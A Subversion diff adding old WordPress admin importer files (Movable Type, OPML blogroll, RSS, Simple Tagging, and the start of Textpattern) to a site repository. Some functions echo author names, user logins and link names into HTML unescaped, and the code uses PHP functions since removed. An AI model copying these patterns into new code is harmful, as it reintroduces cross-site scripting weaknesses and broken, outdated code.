+	}
+
+	function users_form($n) {
+		global $wpdb;
+		$users = $wpdb->get_results("SELECT * FROM $wpdb->users ORDER BY ID");
+?><select name="userselect[<?php echo $n; ?>]">
+	<option value="#NONE#"><?php _e('- Select -') ?></option>
+	<?php
+
+
+		foreach ($users as $user) {
+			echo '<option value="'.$user->user_login.'">'.$user->user_login.'</option>';
+		}
+?>
+	</select>
+	<?php
+
+	}
+
+	function has_gzip() {
+		return is_callable('gzopen');
+	}
+
+	function fopen($filename, $mode='r') {
+		if ( $this->has_gzip() )
+			return gzopen($filename, $mode);
+		return fopen($filename, $mode);
+	}
+
+	function feof($fp) {
+		if ( $this->has_gzip() )
+			return gzeof($fp);
+		return feof($fp);
+	}
+
+	function fgets($fp, $len=8192) {
+		if ( $this->has_gzip() )
+			return gzgets($fp, $len);
+		return fgets($fp, $len);
+	}
+
+	function fclose($fp) {
+		if ( $this->has_gzip() )
+			return gzclose($fp);
+		return fclose($fp);
+ 	}
+
+	//function to check the authorname and do the mapping
+	function checkauthor($author) {
+		//mtnames is an array with the names in the mt import file
+		$pass = wp_generate_password();
+		if (!(in_array($author, $this->mtnames))) { //a new mt author name is found
+			++ $this->j;
+			$this->mtnames[$this->j] = $author; //add that new mt author name to an array
+			$user_id = username_exists($this->newauthornames[$this->j]); //check if the new author name defined by the user is a pre-existing wp user
+			if (!$user_id) { //banging my head against the desk now.
+				if ($this->newauthornames[$this->j] == 'left_blank') { //check if the user does not want to change the authorname
+					$user_id = wp_create_user($author, $pass);
+					$this->newauthornames[$this->j] = $author; //now we have a name, in the place of left_blank.
+				} else {
+					$user_id = wp_create_user($this->newauthornames[$this->j], $pass);
+				}
+			} else {
+				return $user_id; // return pre-existing wp username if it exists
+			}
+		} else {
+			$key = array_search($author, $this->mtnames); //find the array key for $author in the $mtnames array
+			$user_id = username_exists($this->newauthornames[$key]); //use that key to get the value of the author's name from $newauthornames
+		}
+
+		return $user_id;
+	}
+
+	function get_mt_authors() {
+		$temp = array();
+		$authors = array();
+
+		$handle = $this->fopen($this->file, 'r');
+		if ( $handle == null )
+			return false;
+
+		$in_comment = false;
+		while ( $line = $this->fgets($handle) ) {
+			$line = trim($line);
+
+			if ( 'COMMENT:' == $line )
+				$in_comment = true;
+			else if ( '-----' == $line )
+				$in_comment = false;
+
+			if ( $in_comment || 0 !== strpos($line,"AUTHOR:") )
+				continue;
+
+			$temp[] = trim( substr($line, strlen("AUTHOR:")) );
+		}
+
+		//we need to find unique values of author names, while preserving the order, so this function emulates the unique_value(); php function, without the sorting.
+		$authors[0] = array_shift($temp);
+		$y = count($temp) + 1;
+		for ($x = 1; $x < $y; $x ++) {
+			$next = array_shift($temp);
+			if (!(in_array($next, $authors)))
+				array_push($authors, "$next");
+		}
+
+		$this->fclose($handle);
+
+		return $authors;
+	}
+
+	function get_authors_from_post() {
+		$formnames = array ();
+		$selectnames = array ();
+
+		foreach ($_POST['user'] as $key => $line) {
+			$newname = trim(stripslashes($line));
+			if ($newname == '')
+				$newname = 'left_blank'; //passing author names from step 1 to step 2 is accomplished by using POST. left_blank denotes an empty entry in the form.
+			array_push($formnames, "$newname");
+		} // $formnames is the array with the form entered names
+
+		foreach ($_POST['userselect'] as $user => $key) {
+			$selected = trim(stripslashes($key));
+			array_push($selectnames, "$selected");
+		}
+
+		$count = count($formnames);
+		for ($i = 0; $i < $count; $i ++) {
+			if ($selectnames[$i] != '#NONE#') { //if no name was selected from the select menu, use the name entered in the form
+				array_push($this->newauthornames, "$selectnames[$i]");
+			} else {
+				array_push($this->newauthornames, "$formnames[$i]");
+			}
+		}
+	}
+
+	function mt_authors_form() {
+?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Assign Authors'); ?></h2>
+<p><?php _e('To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as admin&#8217;s entries.'); ?></p>
+<p><?php _e('Below, you can see the names of the authors of the MovableType posts in <em>italics</em>. For each of these names, you can either pick an author in your WordPress installation from the menu, or enter a name for the author in the textbox.'); ?></p>
+<p><?php _e('If a new user is created by WordPress, a password will be randomly generated. Manually change the user&#8217;s details if necessary.'); ?></p>
+	<?php
+
+
+		$authors = $this->get_mt_authors();
+		echo '<ol id="authors">';
+		echo '<form action="?import=mt&amp;step=2&amp;id=' . $this->id . '" method="post">';
+		wp_nonce_field('import-mt');
+		$j = -1;
+		foreach ($authors as $author) {
+			++ $j;
+			echo '<li><label>'.__('Current author:').' <strong>'.$author.'</strong><br />'.sprintf(__('Create user %1$s or map to existing'), ' <input type="text" value="'. esc_attr($author) .'" name="'.'user[]'.'" maxlength="30"> <br />');
+			$this->users_form($j);
+			echo '</label></li>';
+		}
+
+		echo '<p class="submit"><input type="submit" class="button" value="'.esc_attr__('Submit').'"></p>'.'<br />';
+		echo '</form>';
+		echo '</ol></div>';
+
+	}
+
+	function select_authors() {
+		if ( $_POST['upload_type'] === 'ftp' ) {
+			$file['file'] = WP_CONTENT_DIR . '/mt-export.txt';
+			if ( !file_exists($file['file']) )
+				$file['error'] = __('<code>mt-export.txt</code> does not exist');
+		} else {
+			$file = wp_import_handle_upload();
+		}
+		if ( isset($file['error']) ) {
+			$this->header();
+			echo '<p>'.__('Sorry, there has been an error').'.</p>';
+			echo '<p><strong>' . $file['error'] . '</strong></p>';
+			$this->footer();
+			return;
+		}
+		$this->file = $file['file'];
+		$this->id = (int) $file['id'];
+
+		$this->mt_authors_form();
+	}
+
+	function save_post(&$post, &$comments, &$pings) {
+		// Reset the counter
+		set_time_limit(30);
+		$post = get_object_vars($post);
+		$post = add_magic_quotes($post);
+		$post = (object) $post;
+
+		if ( $post_id = post_exists($post->post_title, '', $post->post_date) ) {
+			echo '<li>';
+			printf(__('Post <em>%s</em> already exists.'), stripslashes($post->post_title));
+		} else {
+			echo '<li>';
+			printf(__('Importing post <em>%s</em>...'), stripslashes($post->post_title));
+
+			if ( '' != trim( $post->extended ) )
+					$post->post_content .= "\n<!--more-->\n$post->extended";
+
+			$post->post_author = $this->checkauthor($post->post_author); //just so that if a post already exists, new users are not created by checkauthor
+			$post_id = wp_insert_post($post);
+			if ( is_wp_error( $post_id ) )
+				return $post_id;
+
+			// Add categories.
+			if ( 0 != count($post->categories) ) {
+				wp_create_categories($post->categories, $post_id);
+			}
+
+			 // Add tags or keywords
+			if ( 1 < strlen($post->post_keywords) ) {
+			 	// Keywords exist.
+				printf(__('<br />Adding tags <i>%s</i>...'), stripslashes($post->post_keywords));
+				wp_add_post_tags($post_id, $post->post_keywords);
+			}
+		}
+
+		$num_comments = 0;
+		foreach ( $comments as $comment ) {
+			$comment = get_object_vars($comment);
+			$comment = add_magic_quotes($comment);
+
+			if ( !comment_exists($comment['comment_author'], $comment['comment_date'])) {
+				$comment['comment_post_ID'] = $post_id;
+				$comment = wp_filter_comment($comment);
+				wp_insert_comment($comment);
+				$num_comments++;
+			}
+		}
+
+		if ( $num_comments )
+			printf(' '._n('(%s comment)', '(%s comments)', $num_comments), $num_comments);
+
+		$num_pings = 0;
+		foreach ( $pings as $ping ) {
+			$ping = get_object_vars($ping);
+			$ping = add_magic_quotes($ping);
+
+			if ( !comment_exists($ping['comment_author'], $ping['comment_date'])) {
+				$ping['comment_content'] = "<strong>{$ping['title']}</strong>\n\n{$ping['comment_content']}";
+				$ping['comment_post_ID'] = $post_id;
+				$ping = wp_filter_comment($ping);
+				wp_insert_comment($ping);
+				$num_pings++;
+			}
+		}
+
+		if ( $num_pings )
+			printf(' '._n('(%s ping)', '(%s pings)', $num_pings), $num_pings);
+
+		echo "</li>";
+		//ob_flush();flush();
+	}
+
+	function process_posts() {
+		global $wpdb;
+
+		$handle = $this->fopen($this->file, 'r');
+		if ( $handle == null )
+			return false;
+
+		$context = '';
+		$post = new StdClass();
+		$comment = new StdClass();
+		$comments = array();
+		$ping = new StdClass();
+		$pings = array();
+
+		echo "<div class='wrap'><ol>";
+
+		while ( $line = $this->fgets($handle) ) {
+			$line = trim($line);
+
+			if ( '-----' == $line ) {
+				// Finishing a multi-line field
+				if ( 'comment' == $context ) {
+					$comments[] = $comment;
+					$comment = new StdClass();
+				} else if ( 'ping' == $context ) {
+					$pings[] = $ping;
+					$ping = new StdClass();
+				}
+				$context = '';
+			} else if ( '--------' == $line ) {
+				// Finishing a post.
+				$context = '';
+				$result = $this->save_post($post, $comments, $pings);
+				if ( is_wp_error( $result ) )
+					return $result;
+				$post = new StdClass;
+				$comment = new StdClass();
+				$ping = new StdClass();
+				$comments = array();
+				$pings = array();
+			} else if ( 'BODY:' == $line ) {
+				$context = 'body';
+			} else if ( 'EXTENDED BODY:' == $line ) {
+				$context = 'extended';
+			} else if ( 'EXCERPT:' == $line ) {
+				$context = 'excerpt';
+			} else if ( 'KEYWORDS:' == $line ) {
+				$context = 'keywords';
+			} else if ( 'COMMENT:' == $line ) {
+				$context = 'comment';
+			} else if ( 'PING:' == $line ) {
+				$context = 'ping';
+			} else if ( 0 === strpos($line, "AUTHOR:") ) {
+				$author = trim( substr($line, strlen("AUTHOR:")) );
+				if ( '' == $context )
+					$post->post_author = $author;
+				else if ( 'comment' == $context )
+					 $comment->comment_author = $author;
+			} else if ( 0 === strpos($line, "TITLE:") ) {
+				$title = trim( substr($line, strlen("TITLE:")) );
+				if ( '' == $context )
+					$post->post_title = $title;
+				else if ( 'ping' == $context )
+					$ping->title = $title;
+			} else if ( 0 === strpos($line, "STATUS:") ) {
+				$status = trim( strtolower( substr($line, strlen("STATUS:")) ) );
+				if ( empty($status) )
+					$status = 'publish';
+				$post->post_status = $status;
+			} else if ( 0 === strpos($line, "ALLOW COMMENTS:") ) {
+				$allow = trim( substr($line, strlen("ALLOW COMMENTS:")) );
+				if ( $allow == 1 )
+					$post->comment_status = 'open';
+				else
+					$post->comment_status = 'closed';
+			} else if ( 0 === strpos($line, "ALLOW PINGS:") ) {
+				$allow = trim( substr($line, strlen("ALLOW PINGS:")) );
+				if ( $allow == 1 )
+					$post->ping_status = 'open';
+				else
+					$post->ping_status = 'closed';
+			} else if ( 0 === strpos($line, "CATEGORY:") ) {
+				$category = trim( substr($line, strlen("CATEGORY:")) );
+				if ( '' != $category )
+					$post->categories[] = $category;
+			} else if ( 0 === strpos($line, "PRIMARY CATEGORY:") ) {
+				$category = trim( substr($line, strlen("PRIMARY CATEGORY:")) );
+				if ( '' != $category )
+					$post->categories[] = $category;
+			} else if ( 0 === strpos($line, "DATE:") ) {
+				$date = trim( substr($line, strlen("DATE:")) );
+				$date = strtotime($date);
+				$date = date('Y-m-d H:i:s', $date);
+				$date_gmt = get_gmt_from_date($date);
+				if ( '' == $context ) {
+					$post->post_modified = $date;
+					$post->post_modified_gmt = $date_gmt;
+					$post->post_date = $date;
+					$post->post_date_gmt = $date_gmt;
+				} else if ( 'comment' == $context ) {
+					$comment->comment_date = $date;
+				} else if ( 'ping' == $context ) {
+					$ping->comment_date = $date;
+				}
+			} else if ( 0 === strpos($line, "EMAIL:") ) {
+				$email = trim( substr($line, strlen("EMAIL:")) );
+				if ( 'comment' == $context )
+					$comment->comment_author_email = $email;
+				else
+					$ping->comment_author_email = '';
+			} else if ( 0 === strpos($line, "IP:") ) {
+				$ip = trim( substr($line, strlen("IP:")) );
+				if ( 'comment' == $context )
+					$comment->comment_author_IP = $ip;
+				else
+					$ping->comment_author_IP = $ip;
+			} else if ( 0 === strpos($line, "URL:") ) {
+				$url = trim( substr($line, strlen("URL:")) );
+				if ( 'comment' == $context )
+					$comment->comment_author_url = $url;
+				else
+					$ping->comment_author_url = $url;
+			} else if ( 0 === strpos($line, "BLOG NAME:") ) {
+				$blog = trim( substr($line, strlen("BLOG NAME:")) );
+				$ping->comment_author = $blog;
+			} else {
+				// Processing multi-line field, check context.
+
+				if( !empty($line) )
+					$line .= "\n";
+
+				if ( 'body' == $context ) {
+					$post->post_content .= $line;
+				} else if ( 'extended' ==  $context ) {
+					$post->extended .= $line;
+				} else if ( 'excerpt' == $context ) {
+					$post->post_excerpt .= $line;
+				} else if ( 'keywords' == $context ) {
+					$post->post_keywords .= $line;
+				} else if ( 'comment' == $context ) {
+					$comment->comment_content .= $line;
+				} else if ( 'ping' == $context ) {
+					$ping->comment_content .= $line;
+				}
+			}
+		}
+
+		$this->fclose($handle);
+
+		echo '</ol>';
+
+		wp_import_cleanup($this->id);
+		do_action('import_done', 'mt');
+
+		echo '<h3>'.sprintf(__('All done. <a href="%s">Have fun!</a>'), get_option('home')).'</h3></div>';
+	}
+
+	function import() {
+		$this->id = (int) $_GET['id'];
+		if ( $this->id == 0 )
+			$this->file = WP_CONTENT_DIR . '/mt-export.txt';
+		else
+			$this->file = get_attached_file($this->id);
+		$this->get_authors_from_post();
+		$result = $this->process_posts();
+		if ( is_wp_error( $result ) )
+			return $result;
+	}
+
+	function dispatch() {
+		if (empty ($_GET['step']))
+			$step = 0;
+		else
+			$step = (int) $_GET['step'];
+
+		switch ($step) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				check_admin_referer('import-upload');
+				$this->select_authors();
+				break;
+			case 2:
+				check_admin_referer('import-mt');
+				$result = $this->import();
+				if ( is_wp_error( $result ) )
+					echo $result->get_error_message();
+				break;
+		}
+	}
+
+	function MT_Import() {
+		// Nothing.
+	}
+}
+
+$mt_import = new MT_Import();
+
+register_importer('mt', __('Movable Type and TypePad'), __('Import posts and comments from a Movable Type or Typepad blog.'), array ($mt_import, 'dispatch'));
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/opml.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/opml.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/opml.php	(revision 44)
@@ -0,0 +1,156 @@
+<?php
+/**
+ * Links Import Administration Panel.
+ *
+ * @copyright 2002 Mike Little <mike@zed1.com>
+ * @author Mike Little <mike@zed1.com>
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+$parent_file = 'tools.php';
+$submenu_file = 'import.php';
+$title = __('Import Blogroll');
+
+class OPML_Import {
+
+	function dispatch() {
+		global $wpdb, $user_ID;
+$step = $_POST['step'];
+if (!$step) $step = 0;
+?>
+<?php
+switch ($step) {
+	case 0: {
+		include_once('admin-header.php');
+		if ( !current_user_can('manage_links') )
+			wp_die(__('Cheatin&#8217; uh?'));
+
+		$opmltype = 'blogrolling'; // default.
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Import your blogroll from another system') ?> </h2>
+<form enctype="multipart/form-data" action="admin.php?import=opml" method="post" name="blogroll">
+<?php wp_nonce_field('import-bookmarks') ?>
+
+<p><?php _e('If a program or website you use allows you to export your links or subscriptions as OPML you may import them here.'); ?></p>
+<div style="width: 70%; margin: auto; height: 8em;">
+<input type="hidden" name="step" value="1" />
+<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
+<div style="width: 48%;" class="alignleft">
+<h3><label for="opml_url"><?php _e('Specify an OPML URL:'); ?></label></h3>
+<input type="text" name="opml_url" id="opml_url" size="50" class="code" style="width: 90%;" value="http://" />
+</div>
+
+<div style="width: 48%;" class="alignleft">
+<h3><label for="userfile"><?php _e('Or choose from your local disk:'); ?></label></h3>
+<input id="userfile" name="userfile" type="file" size="30" />
+</div>
+
+</div>
+
+<p style="clear: both; margin-top: 1em;"><label for="cat_id"><?php _e('Now select a category you want to put these links in.') ?></label><br />
+<?php _e('Category:') ?> <select name="cat_id" id="cat_id">
+<?php
+$categories = get_terms('link_category', 'get=all');
+foreach ($categories as $category) {
+?>
+<option value="<?php echo $category->term_id; ?>"><?php echo esc_html(apply_filters('link_category', $category->name)); ?></option>
+<?php
+} // end foreach
+?>
+</select></p>
+
+<p class="submit"><input type="submit" name="submit" value="<?php esc_attr_e('Import OPML File') ?>" /></p>
+</form>
+
+</div>
+<?php
+		break;
+	} // end case 0
+
+	case 1: {
+		check_admin_referer('import-bookmarks');
+
+		include_once('admin-header.php');
+		if ( !current_user_can('manage_links') )
+			wp_die(__('Cheatin&#8217; uh?'));
+?>
+<div class="wrap">
+
+<h2><?php _e('Importing...') ?></h2>
+<?php
+		$cat_id = abs( (int) $_POST['cat_id'] );
+		if ( $cat_id < 1 )
+			$cat_id  = 1;
+
+		$opml_url = $_POST['opml_url'];
+		if ( isset($opml_url) && $opml_url != '' && $opml_url != 'http://' ) {
+			$blogrolling = true;
+		} else { // try to get the upload file.
+			$overrides = array('test_form' => false, 'test_type' => false);
+			$_FILES['userfile']['name'] .= '.txt';
+			$file = wp_handle_upload($_FILES['userfile'], $overrides);
+
+			if ( isset($file['error']) )
+				wp_die($file['error']);
+
+			$url = $file['url'];
+			$opml_url = $file['file'];
+			$blogrolling = false;
+		}
+
+		global $opml, $updated_timestamp, $all_links, $map, $names, $urls, $targets, $descriptions, $feeds;
+		if ( isset($opml_url) && $opml_url != '' ) {
+			if ( $blogrolling === true ) {
+				$opml = wp_remote_fopen($opml_url);
+			} else {
+				$opml = file_get_contents($opml_url);
+			}
+
+			/** Load OPML Parser */
+			include_once('link-parse-opml.php');
+
+			$link_count = count($names);
+			for ( $i = 0; $i < $link_count; $i++ ) {
+				if ('Last' == substr($titles[$i], 0, 4))
+					$titles[$i] = '';
+				if ( 'http' == substr($titles[$i], 0, 4) )
+					$titles[$i] = '';
+				$link = array( 'link_url' => $urls[$i], 'link_name' => $wpdb->escape($names[$i]), 'link_category' => array($cat_id), 'link_description' => $wpdb->escape($descriptions[$i]), 'link_owner' => $user_ID, 'link_rss' => $feeds[$i]);
+				wp_insert_link($link);
+				echo sprintf('<p>'.__('Inserted <strong>%s</strong>').'</p>', $names[$i]);
+			}
+?>
+
+<p><?php printf(__('Inserted %1$d links into category %2$s. All done! Go <a href="%3$s">manage those links</a>.'), $link_count, $cat_id, 'link-manager.php') ?></p>
+
+<?php
+} // end if got url
+else
+{
+	echo "<p>" . __("You need to supply your OPML url. Press back on your browser and try again") . "</p>\n";
+} // end else
+
+if ( ! $blogrolling )
+	do_action( 'wp_delete_file', $opml_url);
+	@unlink($opml_url);
+?>
+</div>
+<?php
+		break;
+	} // end case 1
+} // end switch
+	}
+
+	function OPML_Import() {}
+}
+
+$opml_importer = new OPML_Import();
+
+register_importer('opml', __('Blogroll'), __('Import links in OPML format.'), array(&$opml_importer, 'dispatch'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/rss.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/rss.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/rss.php	(revision 44)
@@ -0,0 +1,198 @@
+<?php
+/**
+ * RSS Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * RSS Importer
+ *
+ * Will process a RSS feed for importing posts into WordPress. This is a very
+ * limited importer and should only be used as the last resort, when no other
+ * importer is available.
+ *
+ * @since unknown
+ */
+class RSS_Import {
+
+	var $posts = array ();
+	var $file;
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import RSS').'</h2>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function unhtmlentities($string) { // From php.net for < 4.3 compat
+		$trans_tbl = get_html_translation_table(HTML_ENTITIES);
+		$trans_tbl = array_flip($trans_tbl);
+		return strtr($string, $trans_tbl);
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This importer allows you to extract posts from an RSS 2.0 file into your blog. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import.').'</p>';
+		wp_import_upload_form("admin.php?import=rss&amp;step=1");
+		echo '</div>';
+	}
+
+	function get_posts() {
+		global $wpdb;
+
+		set_magic_quotes_runtime(0);
+		$datalines = file($this->file); // Read the file into an array
+		$importdata = implode('', $datalines); // squish it
+		$importdata = str_replace(array ("\r\n", "\r"), "\n", $importdata);
+
+		preg_match_all('|<item>(.*?)</item>|is', $importdata, $this->posts);
+		$this->posts = $this->posts[1];
+		$index = 0;
+		foreach ($this->posts as $post) {
+			preg_match('|<title>(.*?)</title>|is', $post, $post_title);
+			$post_title = str_replace(array('<![CDATA[', ']]>'), '', $wpdb->escape( trim($post_title[1]) ));
+
+			preg_match('|<pubdate>(.*?)</pubdate>|is', $post, $post_date_gmt);
+
+			if ($post_date_gmt) {
+				$post_date_gmt = strtotime($post_date_gmt[1]);
+			} else {
+				// if we don't already have something from pubDate
+				preg_match('|<dc:date>(.*?)</dc:date>|is', $post, $post_date_gmt);
+				$post_date_gmt = preg_replace('|([-+])([0-9]+):([0-9]+)$|', '\1\2\3', $post_date_gmt[1]);
+				$post_date_gmt = str_replace('T', ' ', $post_date_gmt);
+				$post_date_gmt = strtotime($post_date_gmt);
+			}
+
+			$post_date_gmt = gmdate('Y-m-d H:i:s', $post_date_gmt);
+			$post_date = get_date_from_gmt( $post_date_gmt );
+
+			preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
+			$categories = $categories[1];
+
+			if (!$categories) {
+				preg_match_all('|<dc:subject>(.*?)</dc:subject>|is', $post, $categories);
+				$categories = $categories[1];
+			}
+
+			$cat_index = 0;
+			foreach ($categories as $category) {
+				$categories[$cat_index] = $wpdb->escape($this->unhtmlentities($category));
+				$cat_index++;
+			}
+
+			preg_match('|<guid.*?>(.*?)</guid>|is', $post, $guid);
+			if ($guid)
+				$guid = $wpdb->escape(trim($guid[1]));
+			else
+				$guid = '';
+
+			preg_match('|<content:encoded>(.*?)</content:encoded>|is', $post, $post_content);
+			$post_content = str_replace(array ('<![CDATA[', ']]>'), '', $wpdb->escape(trim($post_content[1])));
+
+			if (!$post_content) {
+				// This is for feeds that put content in description
+				preg_match('|<description>(.*?)</description>|is', $post, $post_content);
+				$post_content = $wpdb->escape($this->unhtmlentities(trim($post_content[1])));
+			}
+
+			// Clean up content
+			$post_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $post_content);
+			$post_content = str_replace('<br>', '<br />', $post_content);
+			$post_content = str_replace('<hr>', '<hr />', $post_content);
+
+			$post_author = 1;
+			$post_status = 'publish';
+			$this->posts[$index] = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_status', 'guid', 'categories');
+			$index++;
+		}
+	}
+
+	function import_posts() {
+		echo '<ol>';
+
+		foreach ($this->posts as $post) {
+			echo "<li>".__('Importing post...');
+
+			extract($post);
+
+			if ($post_id = post_exists($post_title, $post_content, $post_date)) {
+				_e('Post already imported');
+			} else {
+				$post_id = wp_insert_post($post);
+				if ( is_wp_error( $post_id ) )
+					return $post_id;
+				if (!$post_id) {
+					_e('Couldn&#8217;t get post ID');
+					return;
+				}
+
+				if (0 != count($categories))
+					wp_create_categories($categories, $post_id);
+				_e('Done !');
+			}
+			echo '</li>';
+		}
+
+		echo '</ol>';
+
+	}
+
+	function import() {
+		$file = wp_import_handle_upload();
+		if ( isset($file['error']) ) {
+			echo $file['error'];
+			return;
+		}
+
+		$this->file = $file['file'];
+		$this->get_posts();
+		$result = $this->import_posts();
+		if ( is_wp_error( $result ) )
+			return $result;
+		wp_import_cleanup($file['id']);
+		do_action('import_done', 'rss');
+
+		echo '<h3>';
+		printf(__('All done. <a href="%s">Have fun!</a>'), get_option('home'));
+		echo '</h3>';
+	}
+
+	function dispatch() {
+		if (empty ($_GET['step']))
+			$step = 0;
+		else
+			$step = (int) $_GET['step'];
+
+		$this->header();
+
+		switch ($step) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				check_admin_referer('import-upload');
+				$result = $this->import();
+				if ( is_wp_error( $result ) )
+					echo $result->get_error_message();
+				break;
+		}
+
+		$this->footer();
+	}
+
+	function RSS_Import() {
+		// Nothing.
+	}
+}
+
+$rss_import = new RSS_Import();
+
+register_importer('rss', __('RSS'), __('Import posts from an RSS feed.'), array ($rss_import, 'dispatch'));
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/stp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/stp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/stp.php	(revision 44)
@@ -0,0 +1,170 @@
+<?php
+/**
+ * Simple Tags Plugin Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * Simple Tags Plugin Tags converter class.
+ *
+ * Will convert Simple Tags Plugin tags over to the WordPress 2.3 taxonomy.
+ *
+ * @since unknown
+ */
+class STP_Import {
+	function header()  {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import Simple Tagging').'</h2>';
+		echo '<p>'.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'<br /><br /></p>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This imports tags from Simple Tagging 1.6.2 into WordPress tags.').'</p>';
+		echo '<p>'.__('This has not been tested on any other versions of Simple Tagging. Mileage may vary.').'</p>';
+		echo '<p>'.__('To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Simple Tagging habit. Just keep clicking along and we will let you know when you are in the clear!').'</p>';
+		echo '<p><strong>'.__('Don&#8217;t be stupid - backup your database before proceeding!').'</strong></p>';
+		echo '<form action="admin.php?import=stp&amp;step=1" method="post">';
+		wp_nonce_field('import-stp');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Step 1').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function dispatch () {
+		if ( empty( $_GET['step'] ) ) {
+			$step = 0;
+		} else {
+			$step = (int) $_GET['step'];
+		}
+		// load the header
+		$this->header();
+		switch ( $step ) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				check_admin_referer('import-stp');
+				$this->import_posts();
+				break;
+			case 2:
+				check_admin_referer('import-stp');
+				$this->import_t2p();
+				break;
+			case 3:
+				check_admin_referer('import-stp');
+				$this->cleanup_import();
+				break;
+		}
+		// load the footer
+		$this->footer();
+	}
+
+
+	function import_posts ( ) {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Reading STP Post Tags&#8230;').'</h3></p>';
+
+		// read in all the STP tag -> post settings
+		$posts = $this->get_stp_posts();
+
+		// if we didn't get any tags back, that's all there is folks!
+		if ( !is_array($posts) ) {
+			echo '<p>' . __('No posts were found to have tags!') . '</p>';
+			return false;
+		}
+		else {
+			// if there's an existing entry, delete it
+			if ( get_option('stpimp_posts') ) {
+				delete_option('stpimp_posts');
+			}
+
+			add_option('stpimp_posts', $posts);
+			$count = count($posts);
+			echo '<p>' . sprintf( _n('Done! <strong>%s</strong> tag to post relationships were read.', 'Done! <strong>%s</strong> tags to post relationships were read.', $count), $count ) . '<br /></p>';
+		}
+
+		echo '<form action="admin.php?import=stp&amp;step=2" method="post">';
+		wp_nonce_field('import-stp');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Step 2').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+
+	function import_t2p ( ) {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Adding Tags to Posts&#8230;').'</h3></p>';
+
+		// run that funky magic!
+		$tags_added = $this->tag2post();
+
+		echo '<p>' . sprintf( _n('Done! <strong>%s</strong> tag was added!', 'Done! <strong>%s</strong> tags were added!', $tags_added), $tags_added ) . '<br /></p>';
+		echo '<form action="admin.php?import=stp&amp;step=3" method="post">';
+		wp_nonce_field('import-stp');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Step 3').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function get_stp_posts ( ) {
+		global $wpdb;
+		// read in all the posts from the STP post->tag table: should be wp_post2tag
+		$posts_query = "SELECT post_id, tag_name FROM " . $wpdb->prefix . "stp_tags";
+		$posts = $wpdb->get_results($posts_query);
+		return $posts;
+	}
+
+	function tag2post ( ) {
+		global $wpdb;
+
+		// get the tags and posts we imported in the last 2 steps
+		$posts = get_option('stpimp_posts');
+
+		// null out our results
+		$tags_added = 0;
+
+		// loop through each post and add its tags to the db
+		foreach ( $posts as $this_post ) {
+			$the_post = (int) $this_post->post_id;
+			$the_tag = $wpdb->escape($this_post->tag_name);
+			// try to add the tag
+			wp_add_post_tags($the_post, $the_tag);
+			$tags_added++;
+		}
+
+		// that's it, all posts should be linked to their tags properly, pending any errors we just spit out!
+		return $tags_added;
+	}
+
+	function cleanup_import ( ) {
+		delete_option('stpimp_posts');
+		$this->done();
+	}
+
+	function done ( ) {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Import Complete!').'</h3></p>';
+		echo '<p>' . __('OK, so we lied about this being a 4-step program! You&#8217;re done!') . '</p>';
+		echo '<p>' . __('Now wasn&#8217;t that easy?') . '</p>';
+		echo '</div>';
+	}
+
+	function STP_Import ( ) {
+		// Nothing.
+	}
+}
+
+// create the import object
+$stp_import = new STP_Import();
+
+// add it to the import page!
+register_importer('stp', 'Simple Tagging', __('Import Simple Tagging tags into WordPress tags.'), array($stp_import, 'dispatch'));
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/textpattern.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/textpattern.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/textpattern.php	(revision 44)
@@ -0,0 +1,700 @@
+<?php
+/**
+ * TextPattern Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+if(!function_exists('get_comment_count'))
+{
+	/**
+	 * Get the comment count for posts.
+	 *
+	 * @package WordPress
+	 * @subpackage Textpattern_Import
+	 *
+	 * @param int $post_ID Post ID
+	 * @return int
+	 */
